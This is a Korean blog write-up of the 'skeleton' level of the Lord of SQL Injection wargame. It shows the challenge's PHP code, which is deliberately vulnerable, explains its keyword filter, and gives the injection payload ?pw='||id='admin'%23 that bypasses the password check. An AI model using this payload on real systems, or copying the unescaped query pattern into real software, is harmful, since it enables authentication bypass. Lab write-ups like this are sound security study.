*Wargame/[ LS ] Load of SQL Injection
[ LS - 10 ] skeleton
사2다
2021. 12. 20. 01:24
728x90
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- prob _ . () 필터링 수행
if($result['id'] == 'admin') solve("skeleton");
- id = admin일 경우 문제 해결
문제해결
GET 방식으로 URL에 SQL 대입 ( ?pw='||id='admin'%23 )
query : select id from prob_skeleton where id='guest' and pw=''||id='admin'#' and 1=0
728x90